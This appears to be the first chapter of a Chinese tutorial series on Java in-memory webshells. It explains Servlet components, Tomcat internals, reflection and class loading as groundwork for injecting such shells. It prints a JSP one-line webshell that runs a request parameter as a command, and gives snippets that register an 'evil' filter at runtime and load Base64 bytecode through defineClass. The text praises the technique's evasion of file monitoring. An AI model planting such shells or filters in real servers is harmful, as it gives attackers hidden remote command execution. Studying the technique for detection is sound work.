内存马 - 00 前置知识

学内存马之前,必须搞清楚这些基础,否则后面全是黑盒

Servlet 规范核心概念

Java Web 应用运行在 Servlet 容器(Tomcat、Jetty 等)中。理解内存马的前提是理解 Servlet 规范中的三大组件

三大组件

组件 作用 生命周期
Servlet 处理具体请求(如 /api/user init → service → destroy
Filter 请求到达 Servlet 前/后的拦截处理 init → doFilter → destroy
Listener 监听容器事件(Session 创建、请求到达等) 事件触发时回调

请求处理链

1
2
3
4
5
6
7
8
9
10
11
12
13
客户端请求

Listener (ServletRequestListener.requestInitialized)

Filter Chain (Filter1 → Filter2 → ... → FilterN)

Servlet (service/doGet/doPost)

Filter Chain (返回方向)

Listener (ServletRequestListener.requestDestroyed)

响应返回客户端

关键认知: 内存马本质上就是在运行时动态注册这些组件,不需要写入磁盘

web.xml 静态注册 vs 动态注册

传统方式(web.xml 静态注册):

1
2
3
4
5
6
7
8
<filter>
<filter-name>myFilter</filter-name>
<filter-class>com.example.MyFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>myFilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>

Servlet 3.0+ 支持动态注册(这是内存马的基础):

1
2
3
4
// 通过 ServletContext 动态添加 Filter
ServletContext ctx = request.getServletContext();
FilterRegistration.Dynamic filter = ctx.addFilter("evilFilter", new EvilFilter());
filter.addMappingForUrlPatterns(EnumSet.of(DispatcherType.REQUEST), false, "/*");

Tomcat 架构(重点)

内存马 80% 的场景都在 Tomcat 中,必须理解其内部结构

核心组件层级

1
2
3
4
5
6
7
8
9
Server (Catalina)
└── Service
├── Connector (处理网络连接,如 HTTP/AJP)
└── Engine
└── Host (虚拟主机)
└── Context (一个 Web 应用 = 一个 Context)
├── Wrapper (封装一个 Servlet)
├── FilterDef + FilterMap (Filter 定义和映射)
└── ApplicationEventListener (Listener)

关键类(后续代码会频繁用到)

类名 作用
StandardContext Web 应用上下文,管理所有 Servlet/Filter/Listener
FilterDef Filter 的定义(名称、类名、实例)
FilterMap Filter 的 URL 映射
ApplicationFilterConfig Filter 的运行时配置
ApplicationFilterChain Filter 调用链
Wrapper / StandardWrapper Servlet 的包装器

如何获取 StandardContext

这是注入内存马的入口,有多种获取方式:

1
2
3
4
5
6
7
8
9
// 方式1:从 request 获取(最常用)
// request → RequestFacade → Request → StandardContext
Field reqField = request.getClass().getDeclaredField("request");
reqField.setAccessible(true);
Request req = (Request) reqField.get(request);
StandardContext ctx = (StandardContext) req.getContext();

// 方式2:从线程中获取(无 request 时,如反序列化场景)
// 后续章节详细讲

Java 反射

内存马大量使用反射来访问私有字段和方法

核心 API

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// 获取 Class 对象
Class<?> clazz = obj.getClass();
Class<?> clazz = Class.forName("com.example.MyClass");

// 获取字段(包括私有)
Field field = clazz.getDeclaredField("fieldName");
field.setAccessible(true); // 突破 private 限制
Object value = field.get(obj);
field.set(obj, newValue);

// 获取方法(包括私有)
Method method = clazz.getDeclaredMethod("methodName", String.class, int.class);
method.setAccessible(true);
Object result = method.invoke(obj, "arg1", 42);

// 获取构造器
Constructor<?> ctor = clazz.getDeclaredConstructor(String.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance("arg");

反射在内存马中的作用

  1. 访问 Tomcat 内部对象:很多关键字段是 private 的
  2. 动态创建恶意组件:绕过正常注册流程
  3. 从线程上下文获取对象:在没有 request 的场景下找到注入点

Java 类加载机制

双亲委派模型

1
2
3
4
5
6
7
Bootstrap ClassLoader (加载 rt.jar)

Extension ClassLoader (加载 ext 目录)

Application ClassLoader (加载 classpath)

Custom ClassLoader (自定义类加载器)

为什么内存马需要理解类加载?

  1. 动态定义类:内存马需要在运行时创建新的 Class(恶意 Filter/Servlet)
  2. **ClassLoader.defineClass()**:将字节码 byte[] 转为 Class 对象
  3. 不同 ClassLoader 加载的类互相不可见:需要注意类加载器的选择
1
2
3
4
5
6
7
8
// 使用反射调用 defineClass 动态加载恶意类
Method defineClass = ClassLoader.class.getDeclaredMethod(
"defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
byte[] classBytes = Base64.getDecoder().decode(evilClassBase64);
Class<?> evilClass = (Class<?>) defineClass.invoke(
Thread.currentThread().getContextClassLoader(),
classBytes, 0, classBytes.length);

从传统 Webshell 到内存马的演进

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
阶段1:大马/小马
└── 完整的 JSP/PHP 文件,功能丰富但体积大,容易被发现

阶段2:一句话木马
└── <%Runtime.getRuntime().exec(request.getParameter("cmd"));%>
└── 体积小,但仍然是文件形式,会被文件监控发现

阶段3:加密/变形一句话
└── 各种编码、反射调用来绕过 WAF 和杀软
└── 仍然是文件,仍然有磁盘落地

阶段4:内存马 ★
└── 不写入磁盘,直接注入到 JVM 内存中
└── 重启消失(持久化除外),文件监控完全无感
└── 流量层面表现为正常的 Servlet/Filter 请求

内存马的核心优势

对比维度 传统 Webshell 内存马
文件落地 需要写文件 不需要
文件查杀 容易被发现 无文件可查
存活周期 文件存在就在 默认重启消失
流量特征 访问特殊 URL 可伪装为正常请求
注入难度 低(上传即可) 较高(需要代码执行点)

练习题

  1. 写一个简单的 Filter,打印每个请求的 URL,体会 Filter 的工作机制
  2. 用反射获取一个对象的所有私有字段和值
  3. 在 Tomcat 中用 ServletContext.addFilter() 动态注册一个 Filter
  4. 思考:如果没有 request 对象,如何获取到 Tomcat 的 StandardContext?

上一章 目录 下一章
内存马 01-内存马概述